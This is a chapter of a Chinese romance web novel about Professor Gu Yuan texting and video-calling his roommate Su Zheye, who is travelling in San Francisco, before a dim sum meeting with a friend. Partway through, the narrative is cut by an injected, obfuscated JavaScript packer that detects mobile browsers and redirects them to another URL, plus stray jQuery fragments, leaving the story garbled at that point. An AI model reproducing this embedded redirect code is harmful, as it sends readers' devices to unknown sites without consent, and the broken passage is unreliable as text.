第二天清晨，或者说旅行狐狸离开的Day8，顾垣还是没有收到小狐狸寄回来的明信片。


    也没有任何讯息。


    倒是一会儿要见左天骄，不知道会带来什么信息。


    他侧躺在床上，指尖在屏幕停顿了好久，心底没来由泛起一丝不安。


    美国治安混乱的新闻屡见不鲜，游.行、枪.击这些词汇他在报道里看过无数次，却从未真正放在心上——毕竟离自己太远。


    可现在，苏折夜就在那片土地上，旅行中的人本该兴致勃勃，时不时发来些见闻或有趣的照片，但他已经整整两天没有消息了。


    思及此，顾垣立刻坐起身，打字：【还好么？】


    但发出去后，他又觉得这样显得太急切，措辞或许不够得体，于是撤回，重新打字：【玩得如何？】


    静待了一会儿，想来苏折夜并不会时时刻刻都看手机，于是顾垣走进卫生间开始洗漱。


    洗漱完换了衣服，他看向手机，屏幕依旧安静。


    心里那抹淡淡的不安扩散更大了。


    顾垣站在门边，目光在手机上停留了许久。


    他突然意识到，自己和苏折夜虽然已经是室友了，但彼此的联系方式仅限于微信。


    如果一方一直联系不上，那这个最常用的通讯方式依然是毫无意义。


    顾垣顺着苏折夜的头像点进聊天框，视线落在了【音视频通话】按钮。


    他指尖微微一顿。


    要给他打个电话么？


    就只是作为朋友，随口问问近况。


    可苏折夜不回微信，大概就是没在看手机，打电话的话八成也接不上。


    反而这个莫名其妙的语音通话更显突兀。


    顾垣站在原地沉思了许久，最终还是轻轻叹了口气，像是认命般收起手机，推开门走了出去。


    晨间的空气带着微凉的湿意，他迈开步伐，沿着熟悉的跑步路线跑了起来，借有规律的呼吸平复自己的情绪。


    平时他都是七点半吃早饭，但今天早上和左天骄约好了，跑完步后，他直接回去换了身衣服。


    顾垣把车停在学校，推开车门走了出去。


    晨曦洒落在林荫道上，斑驳的光影随着微风轻轻摇晃。


    校园里还未完全苏醒，只有零星几个晨跑的学生从身边经过，脚步声被晨雾轻轻吞没。


    经过美术学院时，顾垣的目光不经意地扫过去，那里仍旧安静，微光浮动在空气中，给万物染上一层金色。


    今天预报是有雨的，没想到天气会这么好。


    顾垣继续往前走。


    就在这时，口袋里的手机忽然震动了一下，清脆的提示音在安静的空气中格外清晰。


    他下意识停下脚步，低头看去。


    美院哥特式建筑上精致的琉璃窗，在晨曦中折射出璀璨的光芒。


    -


    苏折夜抬手，挡了一下灿烂炽烈的阳光。


    彼时美国西海岸正是下午四点，温度正好，海风轻拂，传来淡淡的海盐味。


    苏折夜随意地盘坐在沙滩上，白衬衫被海风轻轻吹动，手里捏着一罐刚买的冰镇可乐，和身旁的陌生朋友聊得正欢。


    对方是个业余画家，刚才带着画板坐在岸边写生，画的是海鸥翱翔的场景，可怎么也画不出那扑翅时的动态感，站在一旁的苏折夜只是扫了一眼，便随口给了个建议。


    “重心再往前一点，翅膀下的阴影要加深些。”


    他用指尖在空气中比划了一下：“这样能让它的姿态更有张力。”


    画家眼前一亮，试着调整了几笔，果然画面灵动了不少，便顺势和他聊起了绘画。


    对方叫Soren，是个美籍华人，父母早年移民美国，但给他请了中文老师，所以他还是会一些的。


    两人就这么中英掺杂地交流，虽然有些磕绊，但还别有趣味。


    “你也是画画的？”


    对方好奇地问。


    苏折夜随手抓起一把沙子，任它们顺着指缝洒落，笑：“曾经算是吧。”


    Soren没有追问，而是拿出手机，拍了一张经苏折夜指点过的画。


    “你有Ins吗？”


    他问：“我要艾特你。”


    苏折夜：“没有。”


    “啊......”


    Soren露出惋惜的神色：“好吧。那你有微信吗？我的中文老师让我注册了这个。”


    苏折夜：“有。”


    他摸出手机，打开微信。


    然后就看到了顾垣的消息。


    和Soren扫码后，苏折夜才慢悠悠点进聊天框。


    【对方撤回了一条消息。】


    【顾垣：玩得如何？】


    苏折夜勾起了唇角。


    就知道你会找我。


    不过比他相信中快一些，他以为至少要两日顾垣才会主动发来消息。


    苏折夜打字：【挺好。】


    顾垣大概是一直守在手机边，这句话刚发出去，苏折夜就见顶端的备注，变成了【对方正在输入中......】


    但提示跳动了好一会儿，也没见新的消息发过来。


    苏折夜微微挑眉，被勾起了好奇心。


    顾教授在想什么？


    又在斟酌什么？


    见他一直注视着手机，Soren侧头：“你在和谁聊天？”


    “嗯？”


    苏折夜随口道：“室友。”


    “我不信。”


    Soren眨了眨眼，露出怀疑的表情：“不信。你笑得太不对劲了，一定不止是室友。”


    “好吧。”


    苏折夜侧眸，语气意味深长：“你说得没错。”


    Soren顿时来了兴趣，正要追问，苏折夜的手机一震，他收到了顾垣的消息。


    【顾垣：旅行狐狸怎么没信了？】


    就这么一句话......竟然憋了这么半天？


    苏折夜忍俊，指尖落在屏幕上，敲字：【因为顾老师没有好好养。】


    果不其然，那边又变成了【对方正在输入中......】


    半晌，屏幕上终于弹出三个字。


    【顾垣：为什么？】


    苏折夜低低笑了一声，随意捻起一颗细小的贝壳，在指尖把玩。


    虽然能看出来顾垣在这些方面并不敏感，但苏折夜很有耐心。


    谁知他静等了三分钟，等到了一个20000元的转账。


    苏折夜：“？”


    【顾垣：重新搜了一下，“青蛙的旅行需要玩家帮忙准备行李，包括便当、护身符和道具”。】


    【顾垣：我没有给你准备，也没有机会再准备。只能转钱让你买点喜欢的东西。】


    苏折夜一怔，而后没忍住轻笑出了声。


    这人怎么能......这么正经。


    二话不说就把钱转来了，真养狐狸啊。


    苏折夜点了[退还]。


    【苏折夜：顾老师这么财大气粗？】


    对方输入中了一会儿，顾垣发来。


    【顾垣：还是想收到旅行狐狸寄来的明信片。】


    【顾垣：[?20000]请收款】


    ......自己不收钱他就不罢休似的。


    真是固执得可爱。


    苏折夜唇角的笑容越扩越大了。


    “是在追你吗？”


    Soren适时出声。


    追？


    这个纯情的字眼，放在顾教授身上，倒也挺合适。


    “那不算。”


    苏折夜笑笑：“他敢追，我还不敢被追呢。”


    苏折夜又退回了这笔转账。


    【苏折夜：不要钱。】


    【苏折夜：要顾老师提供情绪价值。】


    -


    情绪价值？


    顾垣看着这个词，静默了两秒。


    他在书籍上看到过这个词，大致解释是情绪价值（Emotional Value）并非单纯的情感慰藉，而是一种影响个体心理状态和行为决策的重要社会交换因素。


    顾垣的理解就是要对他人提供情感层面的支持、理解和正面反馈。


    ......确实。


    自己并不擅长这些。


    顾晴也说过自己很无趣，终究还是影响到了与室友的关系。


    顾垣低低叹了口气，走进饭店。


    有服务生迎上来，于是他道：“您好，姓左。”


    “已经有人来了对吧？这边请。”


    顾垣“嗯”了一声，还在思考，直到坐在左天骄对面才发出回复。


    【顾垣：抱歉，不太擅长聊天。】


    【顾垣：我努力改。】


    左天骄伸手，在顾垣眼前晃了晃。


    “哥？”


    他一脸惊奇：“跟谁聊天呢？我第一次见你看手机看这么专注。”


    顾垣回神，把手机放在桌面。


    “和学生。”


    他语气淡淡，表情无波无澜。


    “啧。”


    左天骄摇头：“我不信。我觉得你是在跟你室友聊天。”


    顾垣并没有接话，而是直接切入主题：“查出结果了么？”


    “啧。”


    左天骄又道：“生硬的转折。”


    眼见顾垣又要再问一遍，他终于正经了，先道：“我查出来了，你先做好心理......”


    话没说完，顾垣的手机屏幕突然亮起，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114808|162452||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    传来微信通话的铃声。


    “哟！”


    左天骄的注意力又被吸引了，语气带着明显的调侃：“顾教授，你学生给你打电话了。”


    顾垣：“......”


    他看去。


    意料之外却又是心中所想，真的是苏折夜。


    顾垣看着屏幕上跳动的名字，指尖微微一顿。


    ......早上才在纠结要不要给苏折夜打电话，没想到他却自己打了来。


    “啧。”


    左天骄又发出一声感叹：“你先接吧。”


    “失陪。”


    顾垣拿起手机，走出了饭店。


    视频接通了。


    “顾老师。”


    苏折夜弯起了眼：“好久不见。”


    顾垣低声应了一句：“嗯。”


    想起了需要“改进”聊天方式，他又道：“现在在哪里？”


    “啊。”


    苏折夜调转了手机摄像头，镜头里立刻映出一片开阔的海滩，阳光洒在微微起伏的水面上，折射出点点粼粼波光。


    “在Crissy Field Beach，顾老师看到金门大桥了吗？”


    顾垣：“嗯。”


    “认识了一个新朋友。”


    苏折夜把摄像头调转回来，微侧，让Soren也入镜。


    “你好帅哥。”


    Soren给他打招呼：“V我20000，我就教你如何和折夜聊天。”


    苏折夜：“？”


    他侧过脸：“谁说你中文不好的？这梗张口就来啊。”


    Soren无辜地耸耸肩，摊开手：“这就叫抓住商机。”


    不是才认识么，这两人怎么聊得如此亲近。


    顾垣突然不是很想自己和苏折夜的视频通话有外人参与。


    于是他道：“今天预报有雨，但目前天气还算不错。你那边天气也很好。”


    “是啊。”


    苏折夜点头：“前两天旧金山雾很大，今天倒是大晴天。”


    顾垣又问：“玩得如何？”


    “唔。”


    苏折夜直直往后倒去，白色发丝随风轻扬，在空中划出一道优美的弧线，与湛蓝的天空交融，映出一片纯粹的光影。


    他仰面，倒在了柔软的沙滩上，任由阳光洒落脸颊，海风拂过肌肤。


    很自由、很......美丽。


    男生随意感叹：“景色美，海风舒服，心情就特别愉悦。”


    Soren在一旁笑道：“他刚才还说想直接在沙滩上睡一觉来着。”


    苏折夜懒懒地“嗯”了一声，算是默认，舒服得连眼都没睁。


    顾垣静静看着屏幕，虽然画面里只能看到苏折夜，但他知道苏折夜身边还有另一个人。


    那种隐约的、不甚明显却又无法忽视的情绪，悄然浮上心头。


    他沉默了一瞬，最终还是淡声道：“风大，别着凉。”


    苏折夜笑笑：“好的顾老师。”


    “我有点事，先挂了。”


    顾垣道：“祝你旅途愉快。”


    “好吧。”


    苏折夜半眯起眼，海风吹乱他鬓边的碎发：“那顾老师再见。”


    顾垣轻轻“嗯”了一声，像是要顺理成章结束通话，但就在指尖即将点下通话结束键的那一刻，他又突然补了一句：“回来的时候我去接你。”


    话音刚落，顾垣就挂断了视频通话。


    ......不知道是急着回去听左天骄说事，还是怕苏折夜拒绝。


    注视了一会儿暗下去的屏幕，顾垣转身，重新走进包间。


    -


    “打完了？”


    左天骄往嘴里送了块虾饺。


    顾垣：“嗯。”


    左天骄选的这家是港式早茶，看着桌面上精致的餐点，顾垣没来由就想起了苏折夜给自己做过的那顿早餐。


    他把手机静音，放在一旁。


    “咱就两人，我还特意选了个包间，你知道为什么不？”


    左天骄扯了张纸，擦净嘴。


    顾垣：“嗯？”


    “因为我想来根烟。”


    说着，左天骄还真就点了一根烟。


    顾垣一怔。


    左天骄靠在椅背上，吐出口烟，又长长出了口气。


    他的神情似乎有些微妙，像是在思考措辞：“这事儿吧，说起来挺长的。那我长话短说。”


    然后他像是想起什么似的，又顿了一下：“哦对，插一句，如果你现在给我说你喜欢上了你的室友，那我绝对支持。”


    顾垣：“？”


    什么乱七八糟的。


    他握着茶杯的手指微微收紧，语气平淡：“先说事。”